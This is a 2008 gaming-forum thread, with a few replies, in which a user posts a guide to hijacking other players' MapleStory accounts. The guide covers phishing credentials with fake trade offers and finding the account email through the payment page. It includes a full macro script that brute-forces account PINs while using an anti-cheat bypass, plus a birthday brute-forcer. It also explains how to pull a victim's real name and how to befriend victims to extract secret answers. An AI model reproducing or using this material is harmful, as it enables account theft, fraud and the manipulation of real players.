Go Back   Gaming Gutter > Just Chat > Guides & Tutorials


Guides & Tutorials - Your gaming walk-thrus and tutorials.

» Site Navigation
» Home
» FAQ
» Log in
User Name:

Password:

Not a member yet?
Register Now!
» Advertisement
» Recent Threads
Go to first new post lvl 80 low dex hermit
Today 07:46 PM
by Yoda
Last post by Yoda
Today 07:46 PM
0 Replies, 1 Views
Go to first new post Anthony Carmine figure
Today 07:16 PM
Last post by Condemned92
Today 07:39 PM
8 Replies, 24 Views
Go to first new post Dnepropetrovsk Maniacs
Today 06:18 AM
Last post by Tyler
Today 07:39 PM
3 Replies, 161 Views
Go to first new post I.. Want a tattoo.
11-13-2008 04:01 PM
by Zombies
Last post by Sejiru
Today 07:34 PM
36 Replies, 392 Views
Go to first new post dark knight= best movie...
08-04-2008 10:18 PM
by skyman6
Last post by scromlette
Today 07:28 PM
60 Replies, 693 Views
Reply
 
LinkBack Thread Tools Display Modes

 How to crack Maplestory accounts from scratch!
Old 02-28-2008, 05:41 PM   #1 (permalink)
Full Member

mrkrishan is offline
 
Join Date: Feb 2008
Posts: 38
GPoints: 104
iTrader: 0 / 0%
mrkrishan Is Recognizable
Rep Power: 3
How to crack Maplestory accounts from scratch!

This is a simple guide to cracking a whole account form scratch.
First Step:
Get an accounts username and password. This can be done easily by saying something like "Trading lvl 97 Priest for any class lvl 80+!"
Hint (a) Try using an account with full information in easy access to pin/password reset as needed.
Hint (b) Use an account you have previously taken, that your sure many people already have the info to.
Hint (c) Never expect the person on the other side of the trade to be "fair" he knows what your going to do, he is well aware
Second Step:
When you get the info BEFORE ANYTHING find the email, and try the account password on the email.
To find the email
Go to the Nexonhomepage and click log in


Enter your account information and click login


Click on charge


Click either $5 $10 or $30


Click paybycash


If you are in the US this is what you should see so just click continue


Then it will say your email in that box

Then if it works when you log in to the email, just change the password to the email, and pin reset. But if not...

Fourth Step:

Pin Cracking!

Hey Everyone,

This is a GREAT Pin Cracker no D/C and no delay stuff, Really quick =]
And most important - it waits for you if you have a lag, for example you start the Pin Cracker, and then you have a lag, and the pin cracker keeps moving and then it logges off. Not anymore this Pin Cracker waits for you to finish your lag, and then it keeps cracking!!!
Enjoy. =D

Step 1: Download the GGLessV.51, Unpack it, and save it in your MapleStory folder - GGless.51

Step 2: Download the AC Tool - AcTool

Step 3: Install the AC Tool and open it

Step 4: Copy this code and paste it into the AC Tool:

Code:
Constants 
//Dont touch this.. 
Desktop = 0 
PinTries = 0 
MapleReady = 0 
PinChecks = 0 
LoginCheck = 0 
LoginCheck2 = 0 
ClickBackCheck = 0 
LoginScreenCheck = 0 
LoginScreenCheck2 = 0 
LoggedInCord = 208, 48 
TimeToSavePin = 0 
PinTried = 0 
One = 0 
Two = 0 
Three = 0 
Four = 0 
 
//Settings 
SaveTXTfileOnDC = //Yes if you want it to save a text file, when it DC/NO If you dont want. 
ReloadOnDC = //Yes if you want to reload on DC/No if you dont want. 
ChangePinWhenFound = //Yes, if you want it to change the pin when it have found it/No if you dont want 
ChangePinto = //Only needed if you want it to change the pin when it have found it. 
UntitledNotepadInyourLangauge = Untitled - Notepad 
GGLessPath = C:\Nexon\MapleStory\GGLessV51.exe //The Path of your GGless fx. 
Cord = 1234, 318 
DelayBetweenTries = 0 
 
//KnownUser Settings 
KnownUser = 
KnownPassword = 
KnownPin = 
 
//CrackUser Settings 
CrackUser = 
CrackPassword = 
 
//Starting from 
StartingThousands = 0 
StartingHundreds = 0 
Startingtens = 0 
StartingOnes = 0 
End 
 
 
//Script 
Call Doit 
 
Procedure Doit 
Setactivewindow MapleStory 
Keys {Return} 
Keys {Return} 
Call Atloginscreen? 
Call CrackAccount 
Delay 1 sec 
Loop $One = $StartingThousands to 9 
Loop $Two = $StartingHundreds to 9 
Loop $Three = $StartingTens to 9 
Loop $Four = $StartingOnes to 9 
Keys $One 
Keys $Two 
Keys $Three 
Keys $Four 
Keys {Return} 
Call DCCheck 
Call PinCheck 
Delay $DelayBetweenTries 
Call Rightpin 
Setconst StartingThousands = 0 
Setconst StartingHundreds = 0 
Setconst StartingTens = 0 
Setconst StartingOnes = 0 
Compute $PinTries = $PinTries + 1 
If $PinTries > 3 
Call Stop? 
Call DCCheck 
Call Stop? 
Call KnownAccount 
Call Stop? 
Call DCCheck 
Call Stop? 
Call CrackAccount 
Call Stop? 
Call DCCheck 
Call Stop? 
Compute $PinTries = 0 
End 
End 
End 
End 
End 
End 
 
Procedure KnownAccount 
Delay 100 
Keys {Esc} 
Call PinPopUp? 
Delay 100 
MousePos 549,249 
LeftClick 
Call Delete 
Keys $KnownUser 
Call Stop? 
Call DCCheck 
MousePos 549,276 
LeftClick 
Call Delete 
Keys $KnownPassword 
Call Stop? 
Call DCCheck 
Keys {Return} 
Call Rightpin 
Call LoginLogout 
End 
 
Procedure CrackAccount 
MousePos 549,249 
LeftClick 
Call Delete 
Keys $CrackUser 
Call Stop? 
MousePos 549,276 
LeftClick 
Call Delete 
Keys $CrackPassword 
Keys {Return} 
Call Stop? 
Call PinCheck 
End 
 
Procedure LoginLogout 
Call PinCheck 
Call rightpin 
Delay $DelayBetweentries 
Keys $KnownPin 
Keys {Return} 
Call LoginCheck 
Call Stop? 
delay 200 
MousePos 61,450 
LeftClick 
Call ClickBackCheck 
Delay 100 
Keys {Return} 
Call Stop? 
Delay 100 
Call AtLoginScreen? 
End 
 
//Checks 
Procedure PinPopUp? 
Delay 100 
IsGreen 243, 295 
Delay 0 
Else 
Keys {Esc} 
Call rightpin 
End 
End 
 
Procedure AtLoginScreen? 
Delay 500 
IsGreen 243, 295 
Setconst $LoginScreenCheck = 0 
delay 1000 
else 
Compute $LoginScreenCheck = $LoginScreenCheck + 1 
Call AtLoginScreen?Dc 
Call AtLoginScreen? 
End 
End 
 
 
Procedure AtLoginScreen?Dc 
If $LoginScreenCheck > 29 
SetConst $LoginScreenCheck = 0 
Call Checks 
End 
End 
 
procedure DCCheck 
IsBlue $Cord 
Call Savetxtfileondc 
Call ReloadOnDC? 
Stop 
Else 
Delay 0 
End 
End 
 
Procedure ReloadOndc? 
if $ReloadOnDC = Yes 
Call Pin-1 
Call Pin-1 
Call Pin-1 
Call Pin-1 
SetConst $PinTries = 0 
SetConst $StartingThousands = $One 
SetConst $StartingHundreds = $Two 
SetConst $StartingTens = $Three 
SetConst $StartingOnes = $Four 
Delay 1000 
ExecProgram $GGlessPath 
Call MapleReady 
DoubleClick 
Call AtLoginScreen? 
Call DOIT 
End 
End 
 
Procedure Savetxtfileondc 
if $SaveTXTfileOnDC = Yes 
SetActiveWindow MapleStory 
Delay 500 
Keys {Return} 
ExecProgram Notepad.exe 
Delay 1000 
SetActiveWindow $UntitledNotepadInyourLangauge 
Call Atdesktop 
Keys The DCed pin number of $CrackUser is 
Keys {Space} 
Keys $One 
Keys $Two 
Keys $Three 
Keys $Four 
Keys ^s 
Delay 500 
Keys {Del} 
Keys $CrackUser's DCed Pin is 
Keys {Space} 
Keys $One 
Keys $Two 
Keys $Three 
Keys $Four 
Keys {Return} 
Call CloseNotepad 
End 
End 
 
Procedure Rightpin 
IsBlack $LoggedInCord 
Call Amistake? 
Stop 
Else 
Delay 0 
End 
End 
 
Procedure Amistake? 
MousePos 61,450 
LeftClick 
Call ClickBackCheck 
Delay 1000 
Keys {Return} 
Delay 100 
Call AtLoginScreen? 
Delay 300 
Call CrackAccount 
Delay $DelayBetweenTries 
Keys $One 
Keys $Two 
Keys $Three 
Keys $Four 
Delay 100 
Keys {Return} 
Call LoginCheck2 
Call ChangePin? 
Delay 1000 
ExecProgram Notepad.exe 
Delay 1000 
SetactiveWindow $UntitledNotepadInyourLangauge 
Call AtDesktop 
Keys $CrackUser's pin was 
Keys {Space} 
Keys $One 
Keys $Two 
Keys $Three 
Keys $Four. 
Call ChangedPin? 
Delay 300 
Keys ^s 
Delay 2000 
Keys {Del} 
Keys $CrackUser's pin. 
Keys {Return} 
Call CloseNotepad 
End 
 
Procedure ChangedPin? 
If $ChangePinWhenFound = Yes 
Keys {Space} 
Keys I have changed the pin to $ChangePinto. 
End 
End 
 
Procedure ChangePin? 
If $ChangePinWhenFound = Yes 
MousePos 61,450 
LeftClick 
Call ClickBackCheck 
Delay 1000 
Keys {Return} 
Delay 100 
Call AtLoginScreen? 
Call CrackAccount 
Delay $DelayBetweenTries 
Keys $One 
Keys $Two 
Keys $Three 
Keys $Four 
Delay 300 
MousePos 312, 324 
Leftclick 
Call PinCheck 
Delay 1000 
Keys $ChangePinTo 
Keys {Return} 
Call PinCheck 
Delay 1000 
Keys $ChangePinTo 
Keys {Return} 
Call PinCheck 
Delay 1000 
Keys {Return} 
End 
End 
 
Procedure LoginCheck2 
Delay 500 
IsBlack $LoggedInCord 
Setconst $logincheck2 = 0 
Delay 0 
Else 
Compute $LoginCheck2 = $LoginCheck2 + 1 
Call Didntlogin? 
Call LoginCheck2 
End 
End 
 
Procedure PinTried 
If $PinTried > 2 
Setconst $PinTried = 0 
Delay 300 
MousePos 475, 338 
Leftclick 
CalL Quit? 
Delay 300 
MousePos 635, 361 
LeftClick 
Call AtDesktop 
Call DCCheck 
End 
End 
 
Procedure AtDesktop 
Delay 1000 
IsBlue $Cord 
Delay 3000 
Else 
Compute $Desktop = $Desktop + 1 
Call DidntQuit? 
Call AtDesktop 
End 
End 
 
Procedure DidntQuit? 
If $Desktop > 99 
Call Checks 
End 
End 
 
Procedure CloseNotepad 
MousePos 1010, 13 
LeftClick 
End 
 
Procedure Pin-1 
Compute $Four = $Four - 1 
If $Four = -1 
SetConst $Four = 9 
If $Four = 9 
Compute $Three = $Three - 1 
if $Three = -1 
setconst $Three = 9 
If $Three = 9 
Compute $Two = $Two - 1 
if $Two = -1 
setconst $Two = 9 
If $Two = 9 
Compute $One = $One - 1 
if $One = -1 
setconst $One = 9 
End 
End 
End 
End 
End 
End 
End 
End 
 
Procedure Quit? 
Delay 100 
IsGreen 243, 295 
Call quit? 
Else 
Delay 0 
End 
End 
 
Procedure Didntlogin? 
If $LoginCheck2 > 9 
SetConst $LoginCheck2 = 0 
Call PinCheck 
Delay $DelayBetweenTries 
Call Pin-1 
Compute $PinTried = $PinTried + 1 
Call PinTried 
Keys $One 
Keys $Two 
Keys $Three 
Keys $Four 
Keys {Return} 
End 
End 
 
Procedure ClickBackCheck 
Delay 500 
IsBlue 404, 249 
Compute $CLickBackCheck = $CLickBackCheck + 1 
Call ClickBackCheckDc 
Call ClickBackCheck 
Else 
Setconst $Clickbackcheck = 0 
Delay 0 
End 
End 
 
Procedure ClickBackCheckDC 
If $CLickBackCheck > 29 
SetConst $ClickbackCheck = 0 
Call Checks 
End 
End 
 
Procedure LoginCheck 
Delay 500 
IsBlack $LoggedInCord 
Delay 0 
Setconst $Logincheck = 0 
Else 
Compute $LoginCheck = $LoginCheck + 1 
Call LoginCheckDc 
Call LoginCheck 
End 
End 
 
Procedure LoginCheckDc 
If $LoginCheck > 29 
SetConst $LoginCheck = 0 
Call Checks 
End 
End 
 
Procedure PinCheck 
Delay 100 
IsGreen 243, 295 
Compute $Pinchecks = $Pinchecks + 1 
Call Stop? 
Call Pinchecks 
Call PinCheck 
Else 
Call PopUpWindow? 
Setconst $Pinchecks = 0 
End 
End 
 
Procedure Pinchecks 
If $Pinchecks > 150 
Setconst $Pinchecks = 0 
Call Checks 
End 
End 
 
Procedure Checks 
Call DCCheck 
Call LoggedIn? 
Call PinCheckCheck 
Call AtDesktop 
Call DCCheck 
End 
 
ProCedure loggedin? 
Delay 500 
IsBlack $LoggedInCord 
Delay 0 
MousePos 61,450 
LeftClick 
Call ClickBackCheck 
Delay 300 
Keys {Return} 
Delay 100 
Call AtLoginScreen? 
Call Pin-1 
Call Pin-1 
Call Pin-1 
Call Pin-1 
SetConst $PinTries = 0 
SetConst $StartingThousands = $One 
SetConst $StartingHundreds = $Two 
SetConst $StartingTens = $Three 
SetConst $StartingOnes = $Four 
Call Doit 
Else 
Delay 0 
End 
End 
 
Procedure PinCheckCheck 
Delay 100 
IsGreen 243, 295 
Delay 300 
MousePos 635, 361 
LeftClick 
Delay 300 
Leftclick 
Delay 300 
Leftclick 
Call Pin-1 
Call Pin-1 
Call Pin-1 
Call Pin-1 
SetConst $PinTries = 0 
SetConst $StartingThousands = $One 
SetConst $StartingHundreds = $Two 
SetConst $StartingTens = $Three 
SetConst $StartingOnes = $Four 
Else 
Call DCCheck 
Call PopUpWindow? 
Delay 100 
Keys {Esc} 
Delay 100 
MousePos 549,249 
LeftClick 
Call Delete 
Keys $KnownUser 
Call DCCheck 
MousePos 549,276 
LeftClick 
Call Delete 
Keys $KnownPassword 
Call DCCheck 
Keys {Return} 
Call LoginLogout 
Call Pin-1 
Call Pin-1 
Call Pin-1 
Call Pin-1 
SetConst $PinTries = 0 
SetConst $StartingThousands = $One 
SetConst $StartingHundreds = $Two 
SetConst $StartingTens = $Three 
SetConst $StartingOnes = $Four 
Call Doit 
End 
End 
 
Procedure PopUpWindow? 
Delay 100 
IsWhite 275, 393 
MousePos 533, 294 
LeftClick 
Call KnownAccount 
Call Pin-1 
Call Pin-1 
Call Pin-1 
Call Pin-1 
SetConst $PinTries = 0 
SetConst $StartingThousands = $One 
SetConst $StartingHundreds = $Two 
SetConst $StartingTens = $Three 
SetConst $StartingOnes = $Four 
Call Doit 
Else 
Delay 0 
End 
End 
 
Procedure MapleReady 
delay 500 
Iswhite 204, 184 
Setconst $Mapleready = 0 
Delay 0 
Else 
Compute $MapleReady = $MapleReady + 1 
Call MapleReadyDc 
Call MapleReady 
End 
End 
 
Procedure MapleReadyDc 
If $MapleReady > 119 
Setconst $MapleReady = 0 
Call Checks 
End 
End 
 
Procedure Stop? 
Iswhite 2, 2 
Delay 100 
EXEcprogram Notepad.exe 
Delay 1000 
SetactiveWindow $UntitledNotepadInyourlangauge 
Call Atdesktop 
Keys The cracking process have reached 
Keys {Space} 
Keys $One 
Keys $Two 
Keys $Three 
Keys $Four. 
Delay 500 
Keys ^s 
Delay 1000 
Keys $CrackUser's reached pin. 
Keys {Return} 
Delay 500 
Call CloseNotepad 
Stop 
Else 
Delay 0 
End 
End 
 
Procedure Delete 
Keys {Back} 
Keys {Back} 
Keys {Back} 
Keys {Back} 
Keys {Back} 
Keys {Back} 
Keys {Back} 
Keys {Back} 
Keys {Back} 
Keys {Back} 
Keys {Back} 
Keys {Back} 
End
Step 5: Change stats on the code, and delete what i wrote. (For example -//Yes if you want it to save a text file, when it DC/NO If you dont want, you delete it and write what you suppost to write).

Step 6: Open your GGLess

Step 7: Go back to your AC Tool and down from the right you will see Start buttun, press it, and it will log you automaticly to the game and start cracking.

Step 8: Enjoy your new Pin Cracker =D
TO MAKE IT GO FASTER OPEN UP [url="http://http://www.cheatengine.org"]CHEATENGINE[/url AND USE SPEED HACK!


Third Step:
Birthday Cracking! This part is pretty easy, you just have to download ActivePerl and the script and crack away...
Birthday Cracker with Brute Forcing
With this script you can crack anyones birthday as long as you have their Nexon ID simply by using CMD and a script.
How to use
1. Download Active Pearl from here(this is NEEDED to run the script). Install after download.
2. Download the crackingscript here
3. Save the file in your C:\


4. Open up CMD (Start > Run > cmd)


5. In CMD type BruteForcer.pl <Nexon> <Start> (e.g: BruteForcer.pl iamnoob 1980)


6. Press Enter and the cracker should now start trying every date from the year you entered. It should try about 1 date per second, so it won't take too long time as most people have their birthday set to a date after 1980. When it found the date it will say ***WORKED***
Having the birthday is useful as you need this to gift NX, buy NX rings, retrieve password etc. Good luck on the cracking
If this doesnt start, the problem might be that your CMD isn't "pointed" at C:\ where your file is saved. If not, type
cd C:\
in cmd, then repeat step 5.
Hint (a) If possible try and utilize account info already given as a year to start at. Ex. *user:karatesam1985,pass:blahimstupid*
Hint (b) Most birthdays aren't below 1980, if so then its just sad, you can guarantee the person is really dead inside.

Fourth Step:
Last Name!
Probably the easiest step of all. Once you have the username and password this can easily be obtained thanks to Nexon's lack of notice.
Log onto the account at Nexon.net and select maplestory. When you get there select support, and under it E-Mail of inquiry. Then select the "Log a Ticket" tab. The Person's FIRST AND LAST NAME IS RIGHT THERE! It will say "Contact's name" then there name.


Fifth Step:
Secret Answer!
Use an account other then the one you tried scamming with, for obvious reasons. Follow them around and be nice to them even if it hurts, because the pain they will soon feel will be emotional suicidal pain. When you spent like 20minutes making them feel good about them selves, be like "Wanna play a question game?" And
go a few rounds then eventually ask them the secret question. The most common is "Where were you born".
Hint (a) Don't rush things, if you can get them to buddy you thats even better, they would never suspect your evils!
Hint (b) Be Polite and act as if you were really another human being at the end of those wires.
Hint (c) Act Casual, if you blurt out questions to soon you'll likely get busted and have to use another account.
Hint (d) The most common is "Where were you born"

CREDITS: ME for the tut, thebluefiend for the hints, the people who made the crackers!

Last edited by mrkrishan; 02-28-2008 at 05:52 PM..
  Reply With Quote

 
Old 02-28-2008, 05:50 PM   #2 (permalink)
Underground

Female L i e b e is online now
 
L i e b e's Avatar
 
Join Date: Jan 2008
Posts: 692
GPoints: 390
iTrader: 4 / 100%
L i e b e Is Popular
Rep Power: 3
Geez, you posted like, two of these already.

It seems pretty "real," but I'm weary about downloading the crackers.
:\
  Reply With Quote

 
Old 02-28-2008, 06:02 PM   #3 (permalink)
Full Member

mrkrishan is offline
 
Join Date: Feb 2008
Posts: 38
GPoints: 104
iTrader: 0 / 0%
mrkrishan Is Recognizable
Rep Power: 3
I posted it everywhere lolz, but the Actool is directly from the site so no need to woory and same with activePerl, but for the source of the birthday cracker you just have to trust me if you want you can see how trusted I am on cheatengine forum...

This link can give you an overall view of how I am trusted on cef

but if you still don't then you can just do everything, but birthday cracking...
  Reply With Quote

 
Old 02-28-2008, 06:04 PM   #4 (permalink)
Full Member

LidoFruit is offline
 
Join Date: Feb 2008
Posts: 128
GPoints: 20
iTrader: 0 / 0%
LidoFruit Is gaining popularity
Rep Power: 3
CheatEngine doesn't really show if you're trusted or not. You can easily get 200+ posts in one day, It's like spam-nation.
  Reply With Quote

 
Old 02-28-2008, 06:08 PM   #5 (permalink)
Full Member

mrkrishan is offline
 
Join Date: Feb 2008
Posts: 38
GPoints: 104
iTrader: 0 / 0%
mrkrishan Is Recognizable
Rep Power: 3
almost 700 and look at the join date...look at the rep?...
  Reply With Quote

 
Old 02-28-2008, 07:49 PM   #6 (permalink)
Underground

Female L i e b e is online now
 
L i e b e's Avatar
 
Join Date: Jan 2008
Posts: 692
GPoints: 390
iTrader: 4 / 100%
L i e b e Is Popular
Rep Power: 3
That makes me laugh.
Anyone can sign up with the same name on a different website, and that doesn't mean you're the same person.
  Reply With Quote

 
Old 02-28-2008, 07:55 PM   #7 (permalink)
Full Member

mrkrishan is offline
 
Join Date: Feb 2008
Posts: 38
GPoints: 104
iTrader: 0 / 0%
mrkrishan Is Recognizable
Rep Power: 3
w/e you got a cef accnt? I'll pm u. send me the link 2 yur profile on it
  Reply With Quote

 
Old 06-24-2008, 12:45 PM   #8 (permalink)
Junior Member

xskyfire is offline
 
Join Date: Apr 2008
Posts: 1
GPoints: 20
iTrader: 0 / 0%
xskyfire Is gaining popularity
Rep Power: 0
the active perl link doesn't work, have a working link?
  Reply With Quote

 
Old 06-26-2008, 12:11 AM   #9 (permalink)
Full Member

Fwoosh is offline
 
Fwoosh's Avatar
 
Join Date: Jun 2008
Posts: 75
GPoints: 27
iTrader: 0 / 0%
Fwoosh Is gaining popularity
Rep Power: 2
Dats some complicating shiz.
  Reply With Quote

 
Old 07-11-2008, 07:38 PM   #10 (permalink)
Full Member

Male reimondo is offline
 
reimondo's Avatar
 
Join Date: Oct 2007
Location: In your pants
Age: 17
Posts: 95
GPoints: 170
iTrader: 0 / 0%
reimondo Is gaining popularity
Rep Power: 4
All that trouble for one account? Nice job though.
  Reply With Quote
Reply

Bookmarks



Currently Active Users Viewing This Thread: 2 (0 members and 2 guests)
 
Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On

Powered by vBadvanced CMPS v3.0 RC2

All times are GMT -7. The time now is 07:50 PM.


vBulletin skin developed by: eXtremepixels
vBCredits v1.4 Copyright ©2007 - 2008, PixelFX Studios
The contents of this webpage are copyright © 2006-2008 GamingGutter.com. All Rights Reserved.

Page generated in 0.15349507 seconds (100.00% PHP - 0% MySQL) with 19 queries